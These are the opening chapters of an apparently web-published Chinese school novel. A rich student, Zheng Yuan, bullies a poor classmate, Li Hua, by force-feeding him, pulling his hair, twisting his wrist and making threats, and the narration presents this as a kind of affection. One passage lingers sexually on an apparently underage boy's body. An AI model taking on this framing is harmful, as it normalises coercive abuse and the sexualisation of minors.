《梨花正圆》
1. 1
李华是最早成为少先队员的那一批，他从幼儿园到小学都是班长的助理，至于为什么不是班长，是因为管理其他同学会占用他的时间。作为小乡村里唯一一个几乎次次门门满分的学生来说，他是所有人的重中之重，掌上明珠。
说明珠也不太恰当，因为他瘦瘦小小，偶尔从学校回来总是灰头土脸。这个时候看着他的爷爷就会拎着一条不白不黑，看起来也不干不净的抹布不由分说地擦他的脸，把汗和灰尘都擦掉，才露出他本来的面目，一张形似女孩的脸。
李华家贫，但人争气。只是自小体弱，大病没有，小病不断。养活他比同龄其他小男孩要费心得多，大人也便常常调侃他一个男娃娇生惯养的像个女娃，甚至比女娃还娇滴滴、还让人操心。李华听到就会不好意思地笑，脸颊旁边露出一个小梨涡。但是当时那些孩子都嘲讽他，说他的脸上有一个坑。李华就觉得自己长的丑。其实他对美丑没有概念，他看不出来什么好看什么不好看，他只是羞怯于抬头，不想让人这么说，就总是把脸埋起来，走路时也微微驼背，看起来唯唯诺诺，有些好欺负。
后来李华的舅舅在外地打工回家，小有成就地他看李华学习成绩优异，孩子又踏实认真，勤勉孝顺，就希望李华能去大城市上学，接受更好的教育。他自身因身体缺陷无法孕育，也就希望李华能出人头地，光宗耀祖。他总是向李华传递这样的心愿和希望，李华背负着家里的众望，也一直很努力刻苦，无形之中虽然背负着一些压力，但给他更多的却是让这个家因为自己变得更好的责任感。
于是他听从舅舅的安排转到了县里，又从县里一鼓作气凭着全县第一的成绩考进市里。那是一所相当漂亮的学校，也是公立学校无法到达的教育条件以及教育环境，那是一所乃至在全省都排得上号，数一数二的私立学校。学校创始人认为学习不应该是一件枯燥的事情，如果一直向孩子传递学习很无聊的信息，那么孩子就不会认真学习，也不愿学习，甚至产生逆反心理。因此，让他们在一个舒适的、轻松的环境下学习，培养学习习惯与兴趣，才能更好地融入学习环境，甚至是愿意、热爱学习。
这个教育理念跟西方有一点相像，所以招收到了大量有权有势的家长们的追捧。这种追捧也让他的门槛变得非常高。可是如果一所学校单从这方面来进行教育，显然丧失学校的初衷和本质。因此，他们也面向普通家庭招收学习成绩优异的学生。而家长们知道自己的孩子还能进入这样的学校学习，当然趋之若鹜，不可谓不是学校与家长的双向奔赴。如果是贫困家庭的学生，学校不仅免除学杂费书本费等，还会给他额外的学习津贴和生活补助，所含费用由学校自行承担
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，这在当时可是独一份。
李华就一脚踏进这样光怪陆离的世界。这里所有的一切都是他没接触过的，那么多形形色色的人，那么多各式各样的高楼大厦，一下填满他的空间。让他眼花缭乱，像小木偶，只知道听从安排，无暇思考。虽然世界很新，但是凭借着优异的学习成绩和对知识的渴求及敏锐度，他很快就获得了小学神的称号，在老师及同学面前受到青睐。
他觉得自己像躺在白色的、甜蜜的泡泡上一样，像在天空或者是天堂甚至是云端。但他不知道的是他的噩梦马上就要来了，那是一个平常的下午，来了一位转学生。每一个学生入学前都要经历一场考试。而这位转学生的成绩比李华高了一分，成为了年级第一。当他转过来以后，无论是老师还是同学，都围着他说说笑笑，把李华排除在外。
倒也不是故意，而是对方太耀眼，也太高调，所以人们新鲜又热衷。李华还是只知道埋头看书，直到对方坐到他身边，用一双黑明的、锐利的双眼看着他，看的他完全忘了自己刚刚看的什么，对方才向他伸手，“你好，我是郑源，很高兴认识你。”
李华懵懵懂懂的把手伸过去，郑源握了一下，长长的睫毛垂下，说：“你的手没有骨头吗？”
“……什么？”
郑源笑着说：“摸起来好软。”
2. 2
郑源是一个非常阳光向上的人，起码在外人看来是这样，他乐于助人，也爱笑，一笑露出小虎牙，穿的清新干净，给人的感觉也温和，就是瞳孔的颜色有点深，一直盯着人看时不太舒服。
但是他很少盯着人看，因为没什么人能让他一直盯着看。他喜欢学习，没事儿就啃题，也喜欢挑战，争强好胜的抢第一。喜欢胜利，但是更喜欢失败。如果有人能在某方面打败他，会让他感到身心愉悦，发现什么新大陆似的新奇而充满干劲和激情。
同时对方会对他产生吸引，让他像研究一件机器如何运行似的刨根问底，追寻原理。所以他对李华产生了兴趣，因为李华在月考时超过了他。这让他出乎意料，毕竟那个缩着头像鹌鹑似的农村小孩儿连看他都不敢，性格也木讷老实，竟然还有这样的脑子。
他和他是同桌。就托着下巴看他学习的神态和专注，长长的睫毛垂下，小巧的鼻子和下巴。李华学习时很专注，因为他从乡县那么混乱嘈杂的环境上来早就练就了一副生在闹市看书的本领，仅一双耐人寻味的眼睛分不去他的注意。他唰唰地写着题，打了个喷嚏。
入秋，天凉，他们又靠窗，风吹进来直冲着他的大脑，他穿的又单薄，有些着凉。郑源很自然地伸手摸他的额头，吓他一跳，茫然又疑惑地看着他，连警惕都没有。郑源说：“你别发烧了。”
这是自他转过来跟他说的第三句话，第一句话是你好，我是郑源，第二句话是你的手好软啊，第三句就是自然流露出的关心。李华虽然觉得有些陌生，跟他还不太熟悉，但是天真善良的他认为这是一种随和的友好，丝毫想不到冒犯与逾矩，他摇摇头，说应该不会吧。
郑源没说话，翻了翻桌兜，找出一把钥匙，正上课呢，抬手示意，说去趟厕所，就出去了。李华不知道他去哪儿了，也没心思问，继续看题。结果下节课上课男生才回来，带了一件薄外套和感冒药。他扔到李华的课桌上，李华愣愣地看着他，男生说，预备着吧，别生病了。
李华缓慢地眨着眼，笑了，很开心，很感谢他，正想说谢谢你，就下课了，有几个男生招呼着他：“源哥，打球啊。”
第二节下课是大课间，中间半小时自由活动时间。郑源说行啊，就站起身走了，没跟他说话。李华收下药，看到上面还贴心地标注了怎么吃，一日几次，饭前饭后，心里暖暖的，看到桌子上的衣服，衣领注着牌子，但他看不懂，觉得收衣服是不是不太好，虽然他的确没几件现在穿的外套，但是也不能这样，药他倒是可以省生活费还给他，衣服怎么说？于是他又叠整齐了放在郑源的桌子上，叠的时候闻到一股清香。
老师搬着试卷进来，说李华你也出去转转，别一直坐着，得劳逸结合。便把教室仅剩的几个内敛学生都赶了出去。李华不知道去哪儿，在学校漫无目的地瞎转悠。跟着大部队转到操场，看到不远处的郑源在打篮球，和几个班上的同学，还有不认识的，好像是高年级，还是外班的，他有些近视，看不太清，但是一眼能看到郑源，因为能很清晰地分辨出他的体态身高。
他也没什么事，就缩在角落里跟大家一起看着。
郑源喜欢打球，打的也好，因为打球交了不少朋友。李华很少接触球类运动，他考试的时候，还只用
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打排球，像后来的体育考试需要什么，他一概不知。因此是个运动白痴。他只觉得郑源很轻盈，蹦跳的时候很矫健，一看就是身体很好的模样，比他这幅容易生病的身体要好得多。他不仅有些羡慕。这是他第一次流露出羡慕这种眼神甚至神色，在郑源进球时也会跟着鼓掌，但腼腆的他不会叫好。
时间很快过去，郑源打的热气冲天，看眼腕表还剩几分钟上课，摆摆手不打了。往回走的时候看到角落里缩着个人影。那么小一个，跟个黑点似的一坨，他朝他走过去，李华瞪大眼，不知道他的眼怎么那么尖，这都能发现。郑源眼睛明亮地看着他，热的脑门冒汗，胸腔起伏，呼出的气都是热的，声音哑哑地问：“有水吗。”
“啊？”李华摇头，“没有。”
郑源没说什么，其他人听见递水给他，他没接，自己去小卖部买了两瓶，还扔给他一瓶，李华说：“我不渴。”
郑源说哦。
李华说：“谢谢你。”
郑源说：“不客气。”
李华沉默，郑源也没说话，两个人一前一后进教室，郑源还是热，因为大家都出去撒泼，教室又没开空调，又都进屋，空气一下升高，他看着叠的整整齐齐的衣服，将校服撩起露着腹肌，试图散热。李华瞪大眼看他，没想到他这么大胆，一时有些哽住，眼神又停在他冷白的肌肤上和那强劲有力的小腹，校服裤子勾着边，在往下看，郑源裤子提的低，却依稀能看出微微凸起的裆部。
李华的脸有些热。他在还分不清美丑的时候只觉得郑源的确特别，身上有股说不出的劲儿，后来他才知道那个词叫魅力。
3. 3
因为李华的家庭原因，他受学校的特别关照，不仅免学费也免学杂费等一系列开销，这在这所私立学校可谓是学生里面最高等的待遇，学校对他的器重程度可见一斑。
郑源家有钱，他也没见过穷人，更没见过这么穷的穷人。他问李华家是哪儿的。李华说了，郑源听都没听过。他不住校，李华住校，他是宿舍老幺，宿舍长是郑源的好友，两个人经常一起打球。晚上放学，学生像出巢的鸟，只有李华慢慢地走，他干什么都慢慢的，不急也不慌。等他回宿舍，其他人已经坐在一起聊天八卦，他插不进去话题，便自顾自地收拾，等凑近了，才知道三个舍友在打牌。郑源的好友王玉代带头。这对李华有些冲击，因为他记得寝室长的职责不是这个，他想说什么，接受到对方的眼神，莫名有些害怕，像在村里看到流浪的，红着眼，有杀伤力的野狗。
王玉代说：“李华，你去打点热水过来吧。”
李华嗯了一声，没觉得他在指使自己，乖乖打了热水回来，正好赶上宿管查寝，等人一走，他们又从铺上下来打着灯斗牌，李华收拾完上床，听到他们压低声音的嘻嘻哈哈，窃窃私语。他有些睡不着，用枕头捂住耳朵。就这么煎熬着睡了，第二天顶着黑眼圈。郑源瞥了他一眼，没说什么。
李华头次上课打瞌睡。
郑源在他的头栽到桌子上的瞬间伸了手，李华的脑袋就掉在他手里。他斜着坐的，眼睛一直在看黑板，李华看向他时他连动都没动，指尖转着一根笔。
下课他去打球，李华趴在桌子上睡了一觉，郑源回来时看到他嘴唇微张，睡的很安稳。
中午吃饭，郑源和几个玩的好的坐在一起，看到李华老早就在那儿排队，结果有没素质的插队，他也没吭声，就这么一直退，退到人家都打上饭了，他还没吃上。
郑源托着下巴看他，王玉代喊他他都没回神，直到李华打上饭坐到角落里，郑源才说你说什么。
王玉代说你看什么呢。
郑源说你说什么呢。
王玉代看着他，知道他耐心不多，便又说了一遍，郑源说随便。下午上课，他看着李华说：“明天帮我打饭。”
李华一顿，说：“我？”
郑源嗯了一声，李华没拒绝。他不知道怎么拒绝，也不知道为什么拒绝，好像找不到拒绝的理由。他就没说话。
晚上王玉代他们继续打牌，李华欲言又止，对上其他人的眼神，又忍住了，上床颇受折磨地劝自己睡觉。
第二天照样上课打盹。
郑源将校服外套脱了叠着放在他的桌子上，让他脑袋一垂，就砸在校服上，李华只闻到一阵陌生又熟悉的清香，就睡着了。
下课，王玉代来找他，他说：“你晚上干什么呢？”
王玉代说我？
郑源指指李华。他们玩的好，互相知道对方什么德行，王玉代心想你妈的李华，还敢告我状了，说没什么啊，就聊天说话，睡的晚了点儿。
郑源没吭声，王玉代知道他的脾气，有点儿怕，但不敢问。中午吃饭，看他稳坐不动，想讨好呢，说源子我给你打饭，郑源说不用。他托着下巴看李华，王玉代一看，说你俩关系还挺好。
郑源没说话，就看着李华被插队，又后退，又到最后，等到他的时候饭都快被打光了，肉也没有，就剩肉沫和汤，就这李华还把汤多的那一份给了他。
郑源看着他，李华端着自己的饭要走，他说：“你吃的饱么？”
李华点头，“吃得饱的。”
郑源说：“那些人插队。”
李华说：“等等也没事。”
郑源说：“穷人家的孩子就是窝囊。”
李华瞪大眼，脸有些白，绕是他再愚钝，也被这句话伤害，不知道是自尊心还是尊严，他看着面前男孩儿漆黑的双眸，平静冰冷，不知道是哪种心情，低着头没有吭
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声。坐在郑源身旁的几个好友都没敢吭声，不知道这是闹的哪一出。
等吃完饭回去，李华明显不想跟他有接触，坐的靠墙，连看都不看他。
郑源不在意，说：“明天帮我打饭。”
李华有些错愕地看着他，咬咬牙，想说你为什么那样说我，你伤害了我，我不想帮你打饭，但是郑源直直地看着他，像是在等待他的拒绝和回答，李华有一瞬间突然害怕他再说出什么其他话，就又点头，觉得只要满足他就好了，他就不会再那样说自己了。
晚上舍友们出奇地没再打牌，而是各自回到各自的床上，李华终于睡个好觉。
第二天一早，他精神充沛，心情好了些。就算是给郑源打饭也做好了被讽刺、伤害的准备。没想到这次郑源和他站在一起，就站在他身后，当有人惯性来插队时，李华下意识后退，踩到郑源的脚，他扭头看他，郑源双手插兜，没有动。
李华进退两难，插队的人就那么斜着站，郑源又不愿后退，他被逼的没办法，只能硬着头皮说：“同学，你好。”
插队的男生看他一眼，不太把他当回事。李华知道这是前两次插他队的男生，今天被迫鼓足的勇气又被这一眼看的有些退缩。他抿抿唇，不想说了，插队就插嘛，没关系的，等等就好了。
郑源冷笑一声，握着李华的手腕，戳戳插队的男生。
男生烦躁地扭过来，“干嘛。”
郑源说：“你妈死了□□妈的队，滚蛋。”
李华瞪大眼。
男生也瞪大眼：“我操……”
李华傻了。他从没有听过这么难听恶毒的话，还是这么直接直白地说出来，以及是从郑源这个好学生，这么懂礼貌，阳光帅气的男孩儿嘴里说出来。
这是李华第一次叫他的名字：“郑……郑源……”
郑源嗯了一声，松开他的手腕，双手插兜，无关紧要似的，“到你了。”
4. 4
李华成了郑源的小弟。打饭小弟。郑源每天中午都要他打饭，但是又不吃，甩给李华吃，又在背后看着他，看着他不能被别人插队，李华只能硬着头皮上，毕竟从郑源的行为举止看，他好像更危险一点，而且两个人还是同桌，但是他之前又对自己好，可是他的所作所为，李华不知道该怎么形容，他只感觉他是一个很复杂的人。偶尔郑源还会提要求，比如多要一份米饭或者多要一只鸡腿，李华只能压下胆怯弱弱开口，有时候声音太小，盛饭阿姨听不到，会在吵闹的饭堂里大声问他说什么？要什么？大声说话。李华脸红着重复，声音还是小，但比刚才高。
郑源不吃食堂的饭，嫌难吃，但还是让李华打饭，打完让他自己吃。李华饭量小，吃不完，就用塑料袋兜着留到晚上吃，可以省钱，省钱不用充饭卡，不用充饭卡就能省下几十块钱给郑源感谢他买的药。因为家里人知道他在这里没什么花销，所以基本没给钱，偶尔象征性给个几十块，遑论家离得这里又远，他有什么又不好意思找舅舅要，只想着自己分担，最简单的就是从饭钱上抠搜。
但是带的饭有味道，弄的教室里都有些饭味儿，同学寻着气味让李华扔掉。李华舍不得，偷偷藏起来，压在书包里头，郑源也被这股恶心味儿冲的烦躁，拉开他的书包把剩饭强制扔掉，李华很难过，但是也不敢反抗，眼睁睁看着垃圾桶，神情哀伤。郑源摁了一下人中，说都穷成这样了还活什么活。李华不喜欢听这样的话，扭过去不理他。郑源从兜里掏出饭卡。
李华说我不要。
郑源说就别清高了呗。
李华说不要。
郑源说不要也得要。
李华还想说什么，郑源把饭卡塞到他手里。不知道他哪儿里的勇气，平时屁都不敢吭，现在又坚定至极。李华觉得这是施舍。他宁愿饿死，也不愿意吃嗟来之食。他将饭卡还回去，一副胆小又犟劲的模样。郑源说我算看明白了，你那点儿骨气都用来气我了。李华不想听，捂住耳朵只当没声音。给郑源气笑了。他看着他。下课，拽着人到饭堂，亲自打了饭，坐在李华旁边，看着他，说：“吃。”
李华摇头，下一秒，他看到郑源用手挖了一坨白米，捏着他的后颈就往他嘴里塞，他震惊了，疯狂挣扎，这是在饭堂，大庭广众之下，还有老师同学，甚至是校长，他都敢这样，但是很快他们身边就聚了人，郑源的几个好友将他们围的水泄不通，外人根本不知道发生了什么。李华扶着桌子咳嗽，他被迫吃了些，呛的难受，眼泪的咳出来了。郑源说：“你吃还是我喂？”
李华有点想哭，他的嘴又红又亮，细看唇角还有口水，他不想吃，挣扎着挣脱人要往外跑。郑源拽着他的头发，迫使他后仰，捏着嘴往里灌，李华的眼泪流下来，被气的，被欺负的浑身发抖，呜呜地哭。他身上都是饭，脏兮兮的，郑源抽纸给他擦干净，虽然糟蹋的多，但也算吃了些。他看李华害怕地抽噎着哽咽，莫名有些爽。
他哭的梨花带雨，郑源爽的不知今夕何日。
郑源跟在他身后回班，看他害怕地在角落里缩成一小团，上手摸他的背，瘦的隔着校服都能摸到骨头。像摸一条畏缩又饱受摧残的流浪狗。他随心所欲惯了，不觉得这些有什么，凑近李华，看他有没有还在哭。却见他一边抽鼻子，一边小心翼翼地写题，生怕眼泪掉在卷子上，一瞬间被他可爱的哈哈大笑。
他心情颇好，说：“收下那张饭卡吧，我给你道歉。”
李华怔了一下，眼眶掉着泪地看他，眼睛红红的，“真的嘛？”
他真的会给自己道歉吗？
郑源笑，有点被可爱的不知道怎么办才好，他说嗯，真的呢。
但是李华说：“我不能收你的饭卡，我还不起。”
郑源说：“不用你还。”
李华说：“那不行的。”
郑源说：“那怎么不行，我自愿的。”
李华还是摇头。郑源想了想，说，“那这样吧，以后我打球，你跟着我。”
李华说：“第二节下课吗？”
“不止。”
李华沉默。
郑源说：“就当你陪我的时间了。”
李华说：“可是你为什么要给我饭卡啊？”
郑源说：“哪有那么多为什么，我又不缺这一张饭卡。”
李华沉默。
郑源凑近他了，“行吗？”
李华看着他的眼睛，不知道自己如果继续拒绝的话会不会再次遭来残忍，只能点点头，连句好吧都不敢说出口。
郑源开心了。奖励他似的摸摸他的头。李华感觉别扭。郑源没再让他给自己打饭，也让王玉代几个晚上收敛着点，李华算是睡上好觉了。
第二天下课，郑源去打球，李华记得跟着，等人打完了找他要水喝，李华才反应过来自己还要带水么？他茫然的像个傻子，郑源说你还能干点什么呢。他只能自己去小卖部买，还顺
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带给李华捎一瓶，李华说我不渴，郑源说你替我拿着行么，明天再给我。
明天果真喝上了水，郑源说你个傻的，你就不能去给我买么。还真让他喝他自己买的。李华才反应过来，虽然他没有明确的让自己去买水，但是他找自己要水，也是一种变相的要求，就乖乖地去买水了。
郑源有了水喝，打球打的更带感了。不少人都替他欢呼，王玉代说源哥，你跟那土老帽什么时候关系这么好了。
郑源说说的跟你不是土老帽似的，我的事儿什么时候轮到你管了。王玉代碰一鼻子灰，说我不就问问么。他说少管闲事儿。王玉代神情尴尬。报复似的晚上继续打牌，又吵的李华睡不好了。王玉代想去你妈的，吊什么吊，不就家里有几个臭钱么。李华在上铺翻身，王玉代说你他妈睡不着别睡了。李华不知道怎么了，很茫然，但是缩在一团不敢吭声。王玉代想你妈的，你个乡下来的，还敢无视我，使了个眼色，就有舍友去上铺把李华拉下来了。
李华惊慌失措，王玉代说，我打牌吵着你了？
李华摇头。王玉代说，你要跟郑源告状？
李华还是摇头。王玉代说李华你想好了，我们才是一个宿舍的，你要是弄的我们不痛快，你也别想在这儿住好。
这是明晃晃的恐吓了。李华说我知道了。王玉代才让他滚回上铺。李华捂着耳朵，痛苦地蜷缩着。
第二天郑源看着他说，晚上做噩梦了？
李华摇头，不太敢看他。因为他能感觉到王玉代盯着他。郑源皱皱眉，没说话了。没两秒，喊了几个人出去了。上课时回来，下课又准备出去，那是第二节大课间，李华下意识跟着他，郑源说写你的题吧。李华茫然地坐下。郑源出去了，把王玉代也喊出去了。那一个上午他们没再回来。李华落得清闲，中午吃饭时郑源出现在他眼前，坐在他跟前，手上受伤，血在往下滴，郑源说我饿了。李华站起来说我去给你打饭。郑源说不用。他就这李华的手让他喂自己一口，没事儿人似的。
李华有些愣怔，尴尬，无措，又低下头不知道该怎么办了。郑源说没事儿了，吃饭吧。
李华点头。直到晚上他才知道郑源说的是没事儿了，因为王玉代被打住院了。
整个宿舍全请假了，就剩他自己。
他诚惶诚恐地睡了一晚，还是没休息好，黑眼圈更重了，因为他胡思乱想，被吓的。
郑源第二天看到他，笑他，“出息。”
5. 5
没出息的李华跟着郑源过了一段安生日子。他们两个几乎天天在一起，就算说关系不好也没人信，连李华自己都觉得是不是有点过了，上课是同桌，下课要跟他去打球，吃饭又一起去食堂，去了他也不吃，就坐自己对面端着个大爷模样。而且他发现很多人的目光停留在郑源身上，连带着看他的人都多了，而且他们好像都很畏惧他似的，跟他说话都带这些客套地亲近，李华搞不明白，也不想，安心学自己的习。后来他发现郑源有个习惯，会在分神的时候转笔。
是因为分神转笔，而不是因为转笔分神。特别是自己在干什么的时候，郑源虽然看着黑板，目不斜视，但是他轻微一动，比如刚准备弯个腰，郑源就问：“怎么了？”这让李华有些莫名，还有种被监视的不适。因为他向来低调，蜷缩在人群里是最不起眼的角落，但是有个人时时刻刻这么盯着他，看着他的一举一动，让他感觉有些难受，跟没穿衣服似的。
他摇摇头，将笔捡起来。
一轮月考结束，郑源比他高三分，他们两个不是第一就是第二，成绩这块儿追的难舍难分，但是班级整体成绩不怎么样，让老师大失所望，她就要给大家调座位。李华期待自己能和一个男生调一起，据他不怎么完全的观察，有个学生跟他一样老实，不起眼，学习中等，事儿少，戴副眼镜。李华觉得他们很合适，比和郑源在一起合适。郑源太惹人注目了，行事又毫无章法，还有很强的压迫感，让他忍不住想逃。
男生叫徐威，比他高一点，晒的有点黑，在他们后几排坐着。李华知道要调位后连忙去找他了，表示想跟他坐一起，后几排也没关系。徐威有点惊讶，答应了他。李华心里安稳了。郑源一直看着他们，等李华回去后问他，说你想和他坐一起？李华轻轻点头，郑源安静地看着他，说：“你现在去找他，说你刚才是耍他的。”
李华瞪大眼，“什么？”
他刚问出这句话，头发就被郑源拽住了，他往下一扯，李华疼的嘶了一声，腰瞬间弯了下去，郑源看着他说，“听不懂人话？我他妈让你现在去找他，说你不和他坐一起，你刚才是耍他的，听懂没有？”
李华疼的头皮发麻，忍不住推他，细瘦的手指握住他的手腕，一点劲儿都没有。郑源抓的越来越紧，强迫他眯眼看自己，李华疼的害怕，急切地说：“听懂了！听懂了……”
郑源松开他，李华坐直身体，摸把头发，掉了好几根。他眼眶微红，疼的，也是气的，他咬咬牙，不想屈服，却还是有些怕，他怯着声音说：“我想跟谁坐一起就跟谁啊——”
他的话还没说完，就疼的说不出话，郑源将他的手腕几乎以九十度诡异旋转，他疼的眼泪直掉，“疼、疼……”
郑源说：“你觉得你的手腕断了，你有钱治吗？”
李华的脸瞬间白了。
郑源又笑着说：“你的右手写不了字，你还能学习么？”
李华摇头，眼泪大滴大滴地掉，郑源说：“道歉。”
“对、对不起……”李华抽着鼻子，声音闷闷地：“对不起、对不起……”
郑源冷笑一声松开他，“滚吧。”
李华低着头，揉着发疼的手腕，连头都不敢抬，徐威见他又来了，还没说话，就听李华颤着声音说：“对不起，我没办法和你坐一起了。”
徐威说：“啊？为什么啊？”
李华摇头，回去了。
他的头皮在疼，手腕也在疼，委屈又难过，孤立无援的日子太不好过了，他想将自己埋起来哭泣。郑源看着他，出去了，没一会儿又回来了，手上拿着药膏，他指尖刚碰李华，李华就吓的一抖，郑源有些烦，说：“药。”
李华摇头。
他的好他是一点都不敢再收，这个人太可怕了，他还以为他是个很友好的人，他疼的脸都是红的，鬓角出着细密的汗，他咬着后槽牙，对郑源的示好视而不见，过了片刻还把饭卡还给他了，又从书包里找出一些零钱以及感冒药，都推给他，划清界限的明显，他再也不
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想理他了。
郑源笑了，说你当小学呢，玩不玩还能绝交。
李华不说话。
郑源说什么李华都不理，他的手腕肉眼可见的肿起来，郑源皱眉，他没用多大的力气，这么脆弱。他喊他李华，李华沉默，反正无论是讽刺还是咒骂，李华都像聋了，把郑源烦的够呛，随即他灵机一动，说你不理我，我真揍你。李华恐惧地看他一眼，鼻尖还是红的，郑源舒坦了，拆开药要给他涂，李华躲着拒绝他的靠近，郑源说：“别他妈上脸。”
李华摇头，郑源抬手，李华吓够呛，慢慢把手伸过去。郑源说：“你是什么玩意儿做的这么脆，弱鸡。”
李华自动屏蔽。郑源握着他的手腕，那么细那么瘦，能清楚地看到血管，皮肤细腻，跟鱼滑似的。
白色的药膏缓缓抹开，凉凉的，倒是缓解一些刺痛，郑源刚松开手，李华就迅速缩到角落里。郑源说：“先看看怎么样，还不行我带你见医生。”
李华充耳不闻，郑源操了一声，说你妈的，真上脸。
晚上放学，李华用比以往都快的速度回到寝室，也没洗漱，扒拉出枕头下藏的老式翻盖手机，想给爸爸妈妈打电话，但是已经很晚了，他们的作息已经睡了。而且告诉他们又有什么用呢，他们也帮不了他。他坐在那儿哭，恨自己软弱，又恨自己控制不住地恐惧，手腕断断续续地疼，疼的他委屈。晚上翻来覆去睡不着，第二天顶着巨大的黑眼圈，郑源说：“手疼么？”
李华苍白着脸不理，郑源也没指望从他嘴里听到回答，强硬地掰着他的手腕看，肿的很高，看起来就很疼，他烦躁地嘶了一声，说你中午放学跟我出去。
李华不答，等班主任进来，说大家开始收拾东西吧，我们把座位调一下，李华突然举起了手，众目睽睽之下，郑源错愕地看着他，李华说：“老师，我，我不想，再和郑源坐一起了，他，他打我。”
郑源看着他，缓慢地眨眨眼，气笑了。
操你妈李华。
6. 6
“郑源同学？”老师严肃地看着他，“有这回事吗？”
郑源一直看着李华，李华单薄微抖的背影，他站起身，似笑非笑地，“有，老师，我道歉。”
李华扣着手心忍住不看他，老师说：“那你们不要坐一起了。”
她温和地问李华想和谁成为同桌，李华惊喜，还没张嘴，就察觉到郑源靠近他，不留痕迹似的，“你说谁，我弄谁，不信你试试。”
李华猛的扭头看他，眼神气愤不可置信，郑源很受用他的气急，退回去，无关紧要似的。李华只能哑着嗓子说：“老师，我，我能自己坐吗？就讲台旁边，我不需要同桌……”
郑源面色微变。
老师微微惊讶，说这样可能不太方便，李华说没关系，老师答应，李华长出一口气，还没来得及庆幸，就听到郑源说：“你等着。”
当天晚上，郑源搬进了他的寝室，把王玉代赶了出去，李华瞪大眼睛看着他，他像个山大王似的托着下巴拍着床，居高临下地温和一笑。
他说：“这是你的床啊？”
李华脸色惨白。
他张张嘴，强忍着恐慌嗯了一声，说：“你不要坐我的床。”
“为什么？”郑源问他。
“什么为什么……”他不明白。
“为什么不让我坐你的床？”郑源从床上下来看着他，其他同学也都回来了，却都低着头，好像什么都没发生。
李华后退一步，郑源又问：“为什么不和我坐一起？”
李华不说话，郑源跟着他，“手还疼吗？”
李华扶着栏杆往上爬，郑源抓住他的后衣领把他扔在地上，李华磕的哪儿都是疼的，眼泪瞬间冒出来了，红肿的手腕砸着椅边儿，他啊了一声，疼的直抖。
“你非他妈挨打是吧？”郑源踩着他的裤脚看着他，又把他拽起来，李华豆大的泪珠掉下来，他不想哭，但是疼，太疼了。他本就瘦弱，小时候又断断续续生病，虽然是农村养大的孩子，但皮肉也娇贵，这一下摔的又紫又青，骨头都是痛的。郑源说：“问你话你就说话，烦死人了。”
他看李华真的难过，掏出手机打电话，说他上床呢，脚滑了，请老师批假。李华不想请假，他躲到一旁不顾身上的疼再次往上爬，郑源不知道他哪儿来的犟劲，跟有病似的，那床上连床单都是陈年老旧的，坐着都嫌咯，他说：“给你请完假了，跟我看医生吧。”
李华充耳不闻，他不想看他，也不想听他说话，他只想上床去躲起来，这是他唯一的保障。郑源被忽视透顶，但从小到大谁都不敢不理他，就是路边的流浪狗没过来他都会去踹一脚，不知道怎的，就这一天下来他还被忽视习惯了，像是知道李华不会回答，他再次使用暴力手段，威胁如果李华不跟他去，他就别想上课了。
李华还是去了。他没有办法，没有反抗的能力，只能被迫无条件的听从。郑源打了辆车，带着他去了第一医院，从挂急诊到见医生，都是他在说，医生看着两个年龄不大，还穿着校服的学生说，“你们的家长呢？”
“没有家长。”郑源说：“您看看不就好了，给的起钱，也没骨折，就是擦伤，膝盖那儿破皮了，得包扎，不知道用不用打破伤风，还有这个手，是这么受伤的。”
他嘟噜了一大串，李华一个字都没听，只看到郑源掰着自己的手模拟了一下，又说了什么，医生就提着药箱过来了，还开了新的抹药，郑源说：“就这样么？”
医生点头，他们便缴费离开了。郑源说了什么，李华没听，郑源停下，见他像个没长眼的苍蝇似的还往前走，一把将他拽回来，虽然没什么车，但是在大马路，他又找到新的理由骂他，“你傻逼吗，都不长眼。”
李华看着他，被夜风吹的冷，发抖，眼眶通红，一瞬间所有的委屈爆发，扭头就跑，郑源操了一声，在身后穷追不舍，两步把人追上，还好意思问他：“你他妈抽什么风抽
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风。”
李华说：“你凭什么打我？”
郑源愣住。
李华像个战士，那一瞬间跟火烧似的发亮，郑源呆呆地看着他，李华说：“我讨厌你，很讨厌你，我不想见到你，我很烦你，你不要跟我说话，不要靠近我！”
他的声音很大，还震颤，但语气认真，不至于撕心裂肺，也能感受到崩溃。郑源说：“我不知道。”
轮到李华愣了，他嘴唇干着，声音沙哑，“什么。”
郑源说：“我不知道。”
“我不知道为什么要这样对你，想这样对你。”
他说的是实话，表情也少有的真挚，他说那天下午他握了他的手，他说你的手好软，李华就开始笑，很腼腆，现着梨涡，眼睛亮亮的，耳朵也有点红，就那么看着他，然后收回手，缩回角落里，那么小一个，双手合拢，像是害羞。
郑源沉默着，李华也沉默。
他不知道这是什么意思，他的脑海中一片茫然。郑源说：“你把药抹了呗。”
李华：“不要。”
郑源很轻易就没耐心，“你他妈把药抹了能咋地，非要气人呢？”
李华扭头就走，非常有骨气。
郑源说去你妈，疼死你，傻逼。
看着他倔强的背影又追上去，“你不抹？你敢不抹你试试，我今晚还打哭你。”
李华憋着气。
郑源见又陷入耳聋模式，拽着人的手腕就让他扭过来了，李华嘶了一声，郑源说：“疼死你。”
他用牙齿咬开包装，小心地将药膏挤在他的手腕上。
路灯有些亮，风也越来越凉，李华打个喷嚏，月亮照着他们，郑源仔细地给他上药，睫毛垂着，不满地说：“让你把药还我，感冒了吧傻逼。”
李华沉默。
郑源松开手，说：“明天把药吃上。”
李华转身往前走，郑源一步一步跟在他身后。
7. 7
郑源的人生中有许多便利，比如不用手续的住寝，不用当面的请假。这些便捷充斥着他的生活，让他干什么只用动动嘴，就有源源不断的资源。
但这些在他看起来顺理成章甚至天经地义的事在当时刚从农村出来的李华看来简直是一手遮天的恐怖。他几乎是学校行走的霸王，想干什么干什么。李华见过同学找老师请假很难，但是郑源只用一个电话，连他拿一个老式翻盖手机都得东躲西藏，他玩着智能机无所畏惧。而现在，他又一声不吭地将王玉代赶出去，霸占他的床。
他想做什么就能做什么，完全不需要任何理由。
所以李华完全相信他的威胁。他尽最大努力的忽略他，不惹他，从医院回到寝室，他一声不吭地往床上爬。其他同学都睡了，学校的门禁和宿管的关卡在郑源那张被上下打点过的脸上不起一丝作用，手腕的疼痛让李华无暇顾及，他甚至连撑自己爬都费劲。
有人拖着他。
他一顿，郑源借力给他。
爬上床，郑源站在下头看着他，片刻后无聊地躺在床上。李华还烦着呢，面对他只会当聋子和哑巴，好不容易把药给他抹上了，郑源也不想去触那霉头，再把人惹急了，蹭蹭的把药膏一擦，枉费之前说的那些好话。
他没觉得自己在欺负他，甚至感觉自己对他挺好的。
